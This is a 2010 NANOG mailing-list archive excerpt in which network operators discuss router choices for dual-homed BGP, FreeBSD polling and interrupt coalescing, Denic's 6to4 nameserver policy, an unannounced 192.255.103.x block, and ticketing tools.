Feb 2010 13:53:26 -0500 (EST) Subject: Latest Cisco for small dual homed ASN Message-ID: I have a customer that is looking at using BGP for their network; one connection over a few bonded T1s, the other over a Comcast Enterprise connection (which supposedly will do BGP now). When I was dual homed a few years ago, a 7204VXR with 256MB was more than adequate. With routing tables growing the way they are, what's a good Cisco based solution on the lower end of the price spectrum that should handle this fine for a few years? Somebody else is suggesting a Vyatta (Linux based) solution, which makes me a little nervous. Then again, Linux has improved dramatically from a security and stability P.O.V, so maybe it's worth a look if there's no hard drive involved. TIA, James Smallacombe PlantageNet, Inc. CEO and Janitor up at 3.am http://3.am ========================================================================= From sethm at rollernet.us Thu Feb 11 13:08:17 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Thu, 11 Feb 2010 11:08:17 -0800 Subject: Latest Cisco for small dual homed ASN In-Reply-To: References: Message-ID: <4B7455A1.9050301@rollernet.us> On 2/11/2010 10:53, James Smallacombe wrote: > > I have a customer that is looking at using BGP for their network; one > connection over a few bonded T1s, the other over a Comcast Enterprise > connection (which supposedly will do BGP now). > > When I was dual homed a few years ago, a 7204VXR with 256MB was more > than adequate. With routing tables growing the way they are, what's a > good Cisco based solution on the lower end of the price spectrum that > should handle this fine for a few years? > Any 2800/3800 ISR (except the 2801) will handle this just fine with at least 512MB RAM if you want to stick with Cisco. You'll get more performance for the price out of Vyatta if that's more important. ~Seth From mhuff at ox.com Thu Feb 11 13:12:42 2010 From: mhuff at ox.com (Matthew Huff) Date: Thu, 11 Feb 2010 14:12:42 -0500 Subject: Latest Cisco for small dual homed ASN In-Reply-To: References: Message-ID: <483E6B0272B0284BA86D7596C40D29F9E2BD1B3970@PUR-EXCH07.ox.com> You can squeeze by with 512MB, but 1GB of ram would be better. A 7204VXR with 1GB of ram will work fine. You can also squeeze by with a 2951 ---- Matthew Huff?????? | One Manhattanville Rd OTA Management LLC | Purchase, NY 10577 http://www.ox.com | Phone: 914-460-4039 aim: matthewbhuff? | Fax:?? 914-460-4139 > -----Original Message----- > From: James Smallacombe [mailto:up at 3.am] > Sent: Thursday, February 11, 2010 1:53 PM > To: nanog at nanog.org > Subject: Latest Cisco for small dual homed ASN > > > I have a customer that is looking at using BGP for their network; one > connection over a few bonded T1s, the other over a Comcast Enterprise > connection (which supposedly will do BGP now). > > When I was dual homed a few years ago, a 7204VXR with 256MB was more than > adequate. With routing tables growing the way they are, what's a good > Cisco based solution on the lower end of the price spectrum that should > handle this fine for a few years? > > Somebody else is suggesting a Vyatta (Linux based) solution, which makes > me a little nervous. Then again, Linux has improved dramatically from a > security and stability P.O.V, so maybe it's worth a look if there's no > hard drive involved. > > TIA, > > James Smallacombe PlantageNet, Inc. CEO and Janitor > up at 3.am http://3.am > ========================================================================= -------------- next part -------------- A non-text attachment was scrubbed... Name: Matthew Huff.vcf Type: text/x-vcard Size: 1612 bytes Desc: Matthew Huff.vcf URL: From jdfalk-lists at cybernothing.org Thu Feb 11 13:41:57 2010 From: jdfalk-lists at cybernothing.org (J.D. Falk) Date: Thu, 11 Feb 2010 12:41:57 -0700 Subject: Yahoo abuse In-Reply-To: References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: On Feb 9, 2010, at 10:21 PM, Mikael Abrahamsson wrote: > On Wed, 10 Feb 2010, Suresh Ramasubramanian wrote: > >> That's IODEF, if and when it picks up enough steam to get widely deployed. > > That looks over-engineered, but at least someone can create a web service where the user can fill in fields and use drop-down menus to create the XML and the cut/paste this into an email and send. Question is how an end user should handle the reply they get, it'll be pretty much unreadable to the untrained eye. Some types of conversations simply don't take well to automation. -- J.D. Falk Return Path Inc From cmaurand at xyonet.com Thu Feb 11 14:13:59 2010 From: cmaurand at xyonet.com (Curtis Maurand) Date: Thu, 11 Feb 2010 15:13:59 -0500 Subject: Latest Cisco for small dual homed ASN In-Reply-To: References: Message-ID: <4B746507.5040000@xyonet.com> On 2/11/2010 1:53 PM, James Smallacombe wrote: > > I have a customer that is looking at using BGP for their network; one > connection over a few bonded T1s, the other over a Comcast Enterprise > connection (which supposedly will do BGP now). > > When I was dual homed a few years ago, a 7204VXR with 256MB was more > than adequate. With routing tables growing the way they are, what's a > good Cisco based solution on the lower end of the price spectrum that > should handle this fine for a few years? > > Somebody else is suggesting a Vyatta (Linux based) solution, which > makes me a little nervous. Then again, Linux has improved > dramatically from a security and stability P.O.V, so maybe it's worth > a look if there's no hard drive involved. I've been running vyatta, here, for a year now. Its running VPN's and its routing on a TimeWarner Fiber on a modest dual core supermicro server. Its never had to be restarted. Its only dropped its tunnel a few times, but a cronjob checks it and restarts if it goes away. Version : VC5.0.2 Copyright: 2006-2009 Vyatta, Inc. Built by : root at vyatta.com Built on : Fri Feb 27 03:18:16 UTC 2009 Build ID : 2009-02-26-2347-3bb1a83 Boot via : disk Uptime : 15:10:39 up 225 days, 22:31, 1 user, load average: 0.00, 0.00, 0.00 Cheers, Curtis From marka at isc.org Thu Feb 11 15:16:56 2010 From: marka at isc.org (Mark Andrews) Date: Fri, 12 Feb 2010 08:16:56 +1100 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: Your message of "Thu, 11 Feb 2010 13:26:42 BST." References: Message-ID: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> In message , Igor Ybema writes: > Hi, > > We are using 6to4 on our fallback site because the provider there is > not able to provide us native IPv6 yet. We have also installed a > fallback nameserver over there using a 6to4 address. > > This works good and no complains what so ever in the past. > > However, last week Denic (registry for .de) changed their policy (or > their checks). They don't allow a nameserver for a .de domain anymore > which contains a 6to4 address. The policy is "it should be a global > unicast AND the block should be assigned to a RIR for suballocation > purpose". > The 6to4 range is Global Unicast > (http://www.iana.org/assignments/ipv6-unicast-address-assignments/) > but it is not assigned to a RIR because it is a special block. This > fails their policy and their checks (resulting in a ERROR: 105 All > IPv6 Addresses must be Global Unicast). > > Ok, policy is policy and we should not complain. However, I'm asking > your opinions about this policy. I find this really stupid because > this completely brakes use for 6to4 in Germany and their is no good > reason to block it. > > We know we should push our provider to support native IPv6, and we do. > But this should not stop us using IPv6 6to4. > > regards, Igor Ybema If you can't get native IPv6 then use a tunneled service like Hurricane Electric's (HE.NET). It is qualitatively better than 6to4 as it doesn't require random nodes on the net to be performing translation services for you which you can't track down the administrators of. You can get /48's from HE. I use HE.NET and have for the last 7 or so years for my home network. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From nenolod at systeminplace.net Thu Feb 11 16:12:03 2010 From: nenolod at systeminplace.net (William Pitcock) Date: Thu, 11 Feb 2010 16:12:03 -0600 Subject: Linux Router distro's with dual stack capability In-Reply-To: <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> Message-ID: <1265926323.19057.12.camel@petrie.dereferenced.org> Hi, On Thu, 2010-02-11 at 13:05 -0500, Jack Carrozzo wrote: > Lots of people roll FreeBSD with Quagga/pf/ipfw for dual stack. See > the freebsd-isp list. FreeBSD's network stack chokes up in DDoS attacks due to interrupt flooding. We used to use FreeBSD for firewalling and basic routing, but when noticing that we had horizontal scalability (e.g. a Celeron 667mhz performed nearly as well as a dual dual-core Xeon system when DDoS attacks happened), we switched to Vyatta, and generally have not looked back. William From cra at WPI.EDU Thu Feb 11 17:20:13 2010 From: cra at WPI.EDU (Chuck Anderson) Date: Thu, 11 Feb 2010 18:20:13 -0500 Subject: Linux Router distro's with dual stack capability In-Reply-To: <1265926323.19057.12.camel@petrie.dereferenced.org> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <1265926323.19057.12.camel@petrie.dereferenced.org> Message-ID: <20100211232013.GS27179@angus.ind.WPI.EDU> On Thu, Feb 11, 2010 at 04:12:03PM -0600, William Pitcock wrote: > On Thu, 2010-02-11 at 13:05 -0500, Jack Carrozzo wrote: > > Lots of people roll FreeBSD with Quagga/pf/ipfw for dual stack. See > > the freebsd-isp list. > > FreeBSD's network stack chokes up in DDoS attacks due to interrupt > flooding. We used to use FreeBSD for firewalling and basic routing, but > when noticing that we had horizontal scalability (e.g. a Celeron 667mhz > performed nearly as well as a dual dual-core Xeon system when DDoS > attacks happened), we switched to Vyatta, and generally have not looked > back. Have you tried using FreeBSD's polling mode instead of interrupt mode? No experience with it myself, but it sounds cool: http://info.iet.unipi.it/~luigi/polling/ From marty.anstey at sunwave.net Thu Feb 11 17:28:21 2010 From: marty.anstey at sunwave.net (Marty Anstey) Date: Thu, 11 Feb 2010 15:28:21 -0800 Subject: Linux Router distro's with dual stack capability In-Reply-To: <1265926323.19057.12.camel@petrie.dereferenced.org> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> <1265926323.19057.12.camel@petrie.dereferenced.org> Message-ID: <4B749295.30302@sunwave.net> William Pitcock wrote: > FreeBSD's network stack chokes up in DDoS attacks due to interrupt > flooding. We used to use FreeBSD for firewalling and basic routing, but > when noticing that we had horizontal scalability (e.g. a Celeron 667mhz > performed nearly as well as a dual dual-core Xeon system when DDoS > attacks happened), we switched to Vyatta, and generally have not looked > back. > > William > > Which version of FreeBSD and how much traffic/pps? I believe that there has been significant improvements to the networking stack in recent versions of FreeBSD, plus there are also a lot of sysctl tunables which can significantly improve networking performance. I have a hard time believing that the networking performance of recent versions of FreeBSD would not be competitive in comparison to other unixes. -M From oberman at es.net Thu Feb 11 17:46:13 2010 From: oberman at es.net (Kevin Oberman) Date: Thu, 11 Feb 2010 15:46:13 -0800 Subject: Linux Router distro's with dual stack capability In-Reply-To: Your message of "Thu, 11 Feb 2010 18:20:13 EST." <20100211232013.GS27179@angus.ind.WPI.EDU> Message-ID: <20100211234613.246141CC09@ptavv.es.net> > Date: Thu, 11 Feb 2010 18:20:13 -0500 > From: Chuck Anderson > > On Thu, Feb 11, 2010 at 04:12:03PM -0600, William Pitcock wrote: > > On Thu, 2010-02-11 at 13:05 -0500, Jack Carrozzo wrote: > > > Lots of people roll FreeBSD with Quagga/pf/ipfw for dual stack. See > > > the freebsd-isp list. > > > > FreeBSD's network stack chokes up in DDoS attacks due to interrupt > > flooding. We used to use FreeBSD for firewalling and basic routing, but > > when noticing that we had horizontal scalability (e.g. a Celeron 667mhz > > performed nearly as well as a dual dual-core Xeon system when DDoS > > attacks happened), we switched to Vyatta, and generally have not looked > > back. > > Have you tried using FreeBSD's polling mode instead of interrupt mode? > > No experience with it myself, but it sounds cool: > > http://info.iet.unipi.it/~luigi/polling/ > Polling is excellent for low speed lines, but for Gig and faster, most newer interfaces support interrupt coalescing. This easily resolves the issue in hardware as interrupts are only issued when needed but limited to a reasonable rate, Polling does not use interrupts, but consumes system resources regardless of traffic. FreeBSD has supported polling for a long time (V6?) and interrupt coalescing since some release of V7. (Latest release is V8.) -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From ras at e-gerbil.net Thu Feb 11 18:41:29 2010 From: ras at e-gerbil.net (Richard A Steenbergen) Date: Thu, 11 Feb 2010 18:41:29 -0600 Subject: Linux Router distro's with dual stack capability In-Reply-To: <20100211234613.246141CC09@ptavv.es.net> References: <20100211232013.GS27179@angus.ind.WPI.EDU> <20100211234613.246141CC09@ptavv.es.net> Message-ID: <20100212004128.GP75640@gerbil.cluepon.net> On Thu, Feb 11, 2010 at 03:46:13PM -0800, Kevin Oberman wrote: > Polling is excellent for low speed lines, but for Gig and faster, most > newer interfaces support interrupt coalescing. This easily resolves the > issue in hardware as interrupts are only issued when needed but limited > to a reasonable rate, Polling does not use interrupts, but consumes > system resources regardless of traffic. > > FreeBSD has supported polling for a long time (V6?) and interrupt > coalescing since some release of V7. (Latest release is V8.) I'm pretty sure it's been around for a lot longer than that. I seem to recall playing with both back in 4.x. Of course interrupt coalescing is mostly a function of the NIC (though some driver involvement is required to take advantage of it), so the quality of the implementations have varied significantly over the years. The first generation GE NICs which offered it didn't do a particularly good job with it though, so for example it was still possible to cripple a box with high interrupt rates while the same box would be perfectly fine with polling. That said, I think your use case for polling is backwards. As you say, "normally" the NIC fires off an interrupt every time a packet is received, and the kernel stops what it is doing to process the new packet. On a low speed (or at least low traffic) interface this isn't a problem, but as the packet/sec rate increases the amount of time wasted as interrupt processing "overhead" becomes significant. For example, even a GE interface is capable of doing 1.488 million packets/sec. By switching to a polling based model, you switch off the interrupt generation completely and simply check the NIC for new packets a set rate (for example, 1000 times/sec). This gives you a predictable and consistent CPU use, so even if you had 1.488M/s interrupts coming in you would still only be checking 1000 times/sec. If you did less than 1000pps it would be a net increase in CPU, but if you do more (or ever risk doing more, such as during a DoS attack) it could be a net benefit. This is makes the most sense for people doing a lot of traffic regardless. Of course the downside is higher latency, since you're delaying the processing of the packet by some amount of time after it comes in. In the 1000 times/sec example above, you could be delaying processing of your packet by up to 1ms. For most applications this isn't enough to cause any harm, but it's something to keep in mind. Interrupt coalescing works around the problem of large interrupt rates by simply having the NIC limit the number of interrupts it generates under load, giving you the benefits of low-latency processing and low-interrupt rate under high load. I haven't played with this stuff in many many years, so I'm sure modern interrupt coalescing is much better than it used to be, and the extra work of configuring polling and dealing with the potential latency/jitter implications isn't worth the benefits for most people. :) -- Richard A Steenbergen http://www.e-gerbil.net/ras GPG Key ID: 0xF8B12CBC (7535 7F59 8204 ED1F CC1C 53AF 4C41 5ECA F8B1 2CBC) From hectorherrera at gmail.com Thu Feb 11 19:30:11 2010 From: hectorherrera at gmail.com (Hector Herrera) Date: Thu, 11 Feb 2010 17:30:11 -0800 Subject: 192.255.103.x Message-ID: I'm trying to diagnose an issue with 192.255.103.x As far as I can tell from IANA, the block 192/8 is allocated to ARIN. ARIN does not have a record of 192.255.103 being allocated to anybody. Here is the issue ... the customer insists that is the correct IP and for a few hours yesterday, it was actually working. Their satellite phone can reach it, but we can't see it advertised today from any networks. The ip block 192.255.0.0/16 is allocated to "VARIOUS RIRs" under a text file I found at potaroo.net I tried a few looking glass sites, but I still can't find a route to the advertising router. So ... any ideas how to go about finding out the source of the routing block? -- Hector Herrera From mysidia at gmail.com Thu Feb 11 19:45:36 2010 From: mysidia at gmail.com (James Hess) Date: Thu, 11 Feb 2010 19:45:36 -0600 Subject: Yahoo abuse In-Reply-To: References: <20100209075450.382bf4db@jpeach-desktop.anbg.mssm.edu> <4c6b8c911002090639h4208af6wa0f39b55e28dbb44@mail.gmail.com> <20100209094712.02318605@jpeach-desktop.anbg.mssm.edu> Message-ID: <6eb799ab1002111745m4e32ff79u893b884219ae685@mail.gmail.com> On Thu, Feb 11, 2010 at 1:41 PM, J.D. Falk wrote: > Some types of conversations simply don't take well to automation. > However, automatically indexing/archiving such conversations for future reference can be useful (and can assist participants to the conversation in looking up past similar conversations), and it is easier to archive and maintain accurate auditing of structured language than to implement natural language parsers. That said, XML makes a terrible data interchange format for communications where humans are supposed to understand the message, using standard software (such as a legacy e-mail client). YAML, or similar would be a more appropriate choice, and since it can be presented as plain text, many humans can understand the output simply by looking at it. -- -J From mpalmer at hezmatt.org Thu Feb 11 20:08:51 2010 From: mpalmer at hezmatt.org (Matthew Palmer) Date: Fri, 12 Feb 2010 13:08:51 +1100 Subject: 192.255.103.x In-Reply-To: References: Message-ID: <20100212020851.GA30238@hezmatt.org> On Thu, Feb 11, 2010 at 05:30:11PM -0800, Hector Herrera wrote: > I'm trying to diagnose an issue with 192.255.103.x > > As far as I can tell from IANA, the block 192/8 is allocated to ARIN. > ARIN does not have a record of 192.255.103 being allocated to anybody. > > Here is the issue ... the customer insists that is the correct IP and > for a few hours yesterday, it was actually working. Their satellite > phone can reach it, but we can't see it advertised today from any > networks. Smells to me like their satphone provider could be doing something dodgy. More info would be handy: what your customer's relationship to that IP block is, and what they think should be available at that IP block. - Matt From mysidia at gmail.com Thu Feb 11 20:12:01 2010 From: mysidia at gmail.com (James Hess) Date: Thu, 11 Feb 2010 20:12:01 -0600 Subject: 192.255.103.x In-Reply-To: References: Message-ID: <6eb799ab1002111812v7be3a99fg615816700d3d1d65@mail.gmail.com> On Thu, Feb 11, 2010 at 7:30 PM, Hector Herrera wrote: > As far as I can tell from IANA, the block 192/8 is allocated to ARIN. > ARIN does not have a record of 192.255.103 being allocated to anybody. I can infer very strongly that the block has probably not been allocated, or if it was, has not been properly listed in the directory as allocated yet. Look at the DNS delegation of the reverse DNS. Y.arin.net replies NXDOMAIN for the 192.255.103.in-addr.arpa zone with authority, indicating no rDNS delegation. ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 16598 ;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 The RADB and RIS are good sources to query also. http://www.ris.ripe.net/mt/prefixdashboard.html?prefix=192.255.103.0 "This prefix does not appear to be announced. It was not seen by RIS in the last 3 months. See below for related prefixes. Related (overlapping) prefixes seen by RIS in the last 30 days No prefixes found. This prefix has 0 visibility. " -- -J From morrowc.lists at gmail.com Thu Feb 11 21:06:21 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 11 Feb 2010 22:06:21 -0500 Subject: 192.255.103.x In-Reply-To: <6eb799ab1002111812v7be3a99fg615816700d3d1d65@mail.gmail.com> References: <6eb799ab1002111812v7be3a99fg615816700d3d1d65@mail.gmail.com> Message-ID: <75cb24521002111906jca252b9ma1703fea4329a595@mail.gmail.com> On Thu, Feb 11, 2010 at 9:12 PM, James Hess wrote: > On Thu, Feb 11, 2010 at 7:30 PM, Hector Herrera wrote: >> As far as I can tell from IANA, the block 192/8 is allocated to ARIN. >> ARIN does not have a record of 192.255.103 being allocated to anybody. > > I can infer very strongly that the block has probably not been > allocated, or if it was, has not been properly listed in the directory > as allocated yet. > > Look at the ?DNS ?delegation of ?the ?reverse DNS. ? Y.arin.net > replies ?NXDOMAIN for the 192.255.103.in-addr.arpa ?zone ?with 103.255.192.in-addr.arpa. (though Y still gives back NXdomain, and points NS at chia.arin.net, for 192.in-addr.arpa.) -chris From hectorherrera at gmail.com Thu Feb 11 21:27:38 2010 From: hectorherrera at gmail.com (Hector Herrera) Date: Thu, 11 Feb 2010 19:27:38 -0800 Subject: 192.255.103.x In-Reply-To: <20100212020851.GA30238@hezmatt.org> References: <20100212020851.GA30238@hezmatt.org> Message-ID: On Thu, Feb 11, 2010 at 6:08 PM, Matthew Palmer wrote: > On Thu, Feb 11, 2010 at 05:30:11PM -0800, Hector Herrera wrote: >> I'm trying to diagnose an issue with 192.255.103.x >> >> As far as I can tell from IANA, the block 192/8 is allocated to ARIN. >> ARIN does not have a record of 192.255.103 being allocated to anybody. >> >> Here is the issue ... the customer insists that is the correct IP and >> for a few hours yesterday, it was actually working. ?Their satellite >> phone can reach it, but we can't see it advertised today from any >> networks. > > Smells to me like their satphone provider could be doing something dodgy. > More info would be handy: what your customer's relationship to that IP block > is, and what they think should be available at that IP block. > > - Matt According to the customer the IP is at their home network. They are in town for a certain large event *cough*fiverings*cough* and they keep insisting (and their home IT department indicates the IP is valid). The customer is now claiming this IP is part of a "hidden" and "secret" block of IPs ... How can you have hidden IPs? Are IANA/ARIN/RIPE allowing certain agencies to receive allocations without disclosing them in whois? Reverse DNS shows nothing as well. I think I'm just going to chalk this one up to a made up IP block that is probably statically routed by their satphone provider. Thank you all. -- Hector Herrera President Pier Programming Services Ltd. From jack at crepinc.com Thu Feb 11 21:36:45 2010 From: jack at crepinc.com (Jack Carrozzo) Date: Thu, 11 Feb 2010 22:36:45 -0500 Subject: Linux Router distro's with dual stack capability In-Reply-To: <20100212004128.GP75640@gerbil.cluepon.net> References: <20100211232013.GS27179@angus.ind.WPI.EDU> <20100211234613.246141CC09@ptavv.es.net> <20100212004128.GP75640@gerbil.cluepon.net> Message-ID: <2ad0f9f61002111936r4469579dpe6c18148e8bc3d58@mail.gmail.com> Also IIRC you can tune the hash cache / tree algorithm - ie if your traffic is mostly a few addresses then the default prefix search is fine (with the caching) but for more sparse traffic as you'd see at an edge, disabling the cache and using the other algo proved a lot faster. There's a paper on this I saw a few years ago, will forward if I find it. -Jack Carrozzo On Thu, Feb 11, 2010 at 7:41 PM, Richard A Steenbergen wrote: > On Thu, Feb 11, 2010 at 03:46:13PM -0800, Kevin Oberman wrote: >> Polling is excellent for low speed lines, but for Gig and faster, most >> newer interfaces support interrupt coalescing. This easily resolves the >> issue in hardware as interrupts are only issued when needed but limited >> to a reasonable rate, Polling does not use interrupts, but consumes >> system resources regardless of traffic. >> >> FreeBSD has supported polling for a long time (V6?) and interrupt >> coalescing since some release of V7. (Latest release is V8.) > > I'm pretty sure it's been around for a lot longer than that. I seem to > recall playing with both back in 4.x. Of course interrupt coalescing is > mostly a function of the NIC (though some driver involvement is required > to take advantage of it), so the quality of the implementations have > varied significantly over the years. The first generation GE NICs which > offered it didn't do a particularly good job with it though, so for > example it was still possible to cripple a box with high interrupt > rates while the same box would be perfectly fine with polling. > > That said, I think your use case for polling is backwards. As you say, > "normally" the NIC fires off an interrupt every time a packet is > received, and the kernel stops what it is doing to process the new > packet. On a low speed (or at least low traffic) interface this isn't a > problem, but as the packet/sec rate increases the amount of time wasted > as interrupt processing "overhead" becomes significant. For example, > even a GE interface is capable of doing 1.488 million packets/sec. > > By switching to a polling based model, you switch off the interrupt > generation completely and simply check the NIC for new packets a set > rate (for example, 1000 times/sec). This gives you a predictable and > consistent CPU use, so even if you had 1.488M/s interrupts coming in you > would still only be checking 1000 times/sec. If you did less than > 1000pps it would be a net increase in CPU, but if you do more (or ever > risk doing more, such as during a DoS attack) it could be a net benefit. > This is makes the most sense for people doing a lot of traffic > regardless. > > Of course the downside is higher latency, since you're delaying the > processing of the packet by some amount of time after it comes in. In > the 1000 times/sec example above, you could be delaying processing of > your packet by up to 1ms. For most applications this isn't enough to > cause any harm, but it's something to keep in mind. Interrupt coalescing > works around the problem of large interrupt rates by simply having the > NIC limit the number of interrupts it generates under load, giving you > the benefits of low-latency processing and low-interrupt rate under high > load. I haven't played with this stuff in many many years, so I'm sure > modern interrupt coalescing is much better than it used to be, and the > extra work of configuring polling and dealing with the potential > latency/jitter implications isn't worth the benefits for most people. :) > > -- > Richard A Steenbergen ? ? ? http://www.e-gerbil.net/ras > GPG Key ID: 0xF8B12CBC (7535 7F59 8204 ED1F CC1C 53AF 4C41 5ECA F8B1 2CBC) > > From smooge at gmail.com Thu Feb 11 21:38:06 2010 From: smooge at gmail.com (Stephen John Smoogen) Date: Thu, 11 Feb 2010 20:38:06 -0700 Subject: 192.255.103.x In-Reply-To: References: <20100212020851.GA30238@hezmatt.org> Message-ID: <80d7e4091002111938r3238dc9jda230fcca0559c02@mail.gmail.com> On Thu, Feb 11, 2010 at 8:27 PM, Hector Herrera wrote: > On Thu, Feb 11, 2010 at 6:08 PM, Matthew Palmer wrote: >> On Thu, Feb 11, 2010 at 05:30:11PM -0800, Hector Herrera wrote: >>> I'm trying to diagnose an issue with 192.255.103.x >>> >>> As far as I can tell from IANA, the block 192/8 is allocated to ARIN. >>> ARIN does not have a record of 192.255.103 being allocated to anybody. >>> >>> Here is the issue ... the customer insists that is the correct IP and >>> for a few hours yesterday, it was actually working. ?Their satellite >>> phone can reach it, but we can't see it advertised today from any >>> networks. >> >> Smells to me like their satphone provider could be doing something dodgy. >> More info would be handy: what your customer's relationship to that IP block >> is, and what they think should be available at that IP block. >> >> - Matt > > According to the customer the IP is at their home network. ?They are > in town for a certain large event *cough*fiverings*cough* and they > keep insisting (and their home IT department indicates the IP is > valid). > > The customer is now claiming this IP is part of a "hidden" and > "secret" block of IPs ... How can you have hidden IPs? > > Are IANA/ARIN/RIPE allowing certain agencies to receive allocations > without disclosing them in whois? > > Reverse DNS shows nothing as well. > > I think I'm just going to chalk this one up to a made up IP block that > is probably statically routed by their satphone provider. > > Thank you all. What it sounds like is one of the following: 1) They got confused with 192.168.xxx.xxx networks when setting it up. 2) They got 192.255.xx.xx from some group that said they could have it when they couldn't 3) They grabbed it a long time ago and don't remember they did so. 4) Some combination of the above. In any of the cases, its their local network which is foo-bared one way or another. Their local routers must have had a route to it and no longer does.. getting a traceroute from them or something to show where their router thinks it should go (or if they have an old one to show where it was.) > -- > Hector Herrera > President > Pier Programming Services Ltd. > > -- Stephen J Smoogen. Ah, but a man's reach should exceed his grasp. Or what's a heaven for? -- Robert Browning From mpalmer at hezmatt.org Thu Feb 11 21:49:18 2010 From: mpalmer at hezmatt.org (Matthew Palmer) Date: Fri, 12 Feb 2010 14:49:18 +1100 Subject: 192.255.103.x In-Reply-To: References: <20100212020851.GA30238@hezmatt.org> Message-ID: <20100212034918.GB30238@hezmatt.org> On Thu, Feb 11, 2010 at 07:27:38PM -0800, Hector Herrera wrote: > On Thu, Feb 11, 2010 at 6:08 PM, Matthew Palmer wrote: > > On Thu, Feb 11, 2010 at 05:30:11PM -0800, Hector Herrera wrote: > >> I'm trying to diagnose an issue with 192.255.103.x > >> > >> As far as I can tell from IANA, the block 192/8 is allocated to ARIN. > >> ARIN does not have a record of 192.255.103 being allocated to anybody. > >> > >> Here is the issue ... the customer insists that is the correct IP and > >> for a few hours yesterday, it was actually working. ?Their satellite > >> phone can reach it, but we can't see it advertised today from any > >> networks. > > > > Smells to me like their satphone provider could be doing something dodgy. > > More info would be handy: what your customer's relationship to that IP block > > is, and what they think should be available at that IP block. > > According to the customer the IP is at their home network. They are > in town for a certain large event *cough*fiverings*cough* and they > keep insisting (and their home IT department indicates the IP is > valid). > > The customer is now claiming this IP is part of a "hidden" and > "secret" block of IPs ... How can you have hidden IPs? Pfft, that's just code for "we picked a block at random". See also: 1/8. > I think I'm just going to chalk this one up to a made up IP block that > is probably statically routed by their satphone provider. Indeed. - Matt From joelja at bogus.com Thu Feb 11 22:54:38 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Thu, 11 Feb 2010 20:54:38 -0800 Subject: Google to offer fiber to end users In-Reply-To: References: Message-ID: <4B74DF0E.5010605@bogus.com> David Hubbard wrote: > Residential computers with enough bandwidth to DoS > hosting providers; that should be fun. Maybe it will > encourage the incumbant ISP's to start offering users > meaningful bgp communities since they won't be able > to keep up with the abuse reports. Residential customers already have enough bandwidth to DOS hosting providers. > David > From steve at ibctech.ca Fri Feb 12 07:21:20 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Fri, 12 Feb 2010 08:21:20 -0500 Subject: Linux Router distro's with dual stack capability In-Reply-To: <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> References: <01759D50DC387C45A018FE1817CE27D7578FFABD64@CPExchange1.cpgreeley.com> <1265876602.17526.1.camel@petrie.dereferenced.org> <2ad0f9f61002111005s42d62754k4f4248e7849567be@mail.gmail.com> Message-ID: <4B7555D0.3010301@ibctech.ca> Jack Carrozzo wrote: > Lots of people roll FreeBSD with Quagga/pf/ipfw for dual stack. See > the freebsd-isp list. Raises hand. I do, on these boxes: http://www.mikrotikrouter.net/ Steve From brandon at momentous.ca Fri Feb 12 09:56:57 2010 From: brandon at momentous.ca (Brandon Grant) Date: Fri, 12 Feb 2010 10:56:57 -0500 Subject: Ticket/Asset Managment system Message-ID: <9AE359BC72A96945AD88480EC357535704CF5B56@MOMEX2.momentous.ca> I am currently evaluating my options for an open source trouble ticket management system that is based on assets (the trouble ticket is opened on a particular server, network element, etc.). Also, I am hoping to find a tool that can tie in with SNMP software so I can have tickets auto-generated for certain types of SNMP traps or polling failures. Any recommendations? So far, the best two that I have been able to find are: 1. OTRS.org 2. GLIP-project.org Any insight would be appreciated. Brandon From garphy at zone84.net Fri Feb 12 10:03:58 2010 From: garphy at zone84.net (Simon Morvan) Date: Fri, 12 Feb 2010 17:03:58 +0100 Subject: Ticket/Asset Managment system In-Reply-To: <9AE359BC72A96945AD88480EC357535704CF5B56@MOMEX2.momentous.ca> References: <9AE359BC72A96945AD88480EC357535704CF5B56@MOMEX2.momentous.ca> Message-ID: <4B757BEE.5070809@zone84.net> On 12/02/2010 16:56, Brandon Grant wrote: > I am currently evaluating my options for an open source trouble ticket > management system that is based on assets (the trouble ticket is opened > on a particular server, network element, etc.). Also, I am hoping to > find a tool that can tie in with SNMP software so I can have tickets > auto-generated for certain types of SNMP traps or polling failures. > > > > Any recommendations? > > > > So far, the best two that I have been able to find are: > > > > 1. OTRS.org > > 2. GLIP-project.org > > > > Any insight would be appreciated. > > > Request-Tracker (RT) with RT-IR (Incident Response) ? -- Simon. From charles at knownelement.com Fri Feb 12 10:04:49 2010 From: charles at knownelement.com (charles at knownelement.com) Date: Fri, 12 Feb 2010 16:04:49 +0000 Subject: Ticket/Asset Managment system Message-ID: <44731097-1265990716-cardhu_decombobulator_blackberry.rim.net-774011796-@bda609.bisx.prod.on.blackberry> Have you looked into any cmdb systems? There are some good open source ones. Opencmdb.org I think. Sent via BlackBerry from T-Mobile From regnauld at nsrc.org Fri Feb 12 10:51:05 2010 From: regnauld at nsrc.org (Phil Regnauld) Date: Fri, 12 Feb 2010 17:51:05 +0100 Subject: Ticket/Asset Managment system In-Reply-To: 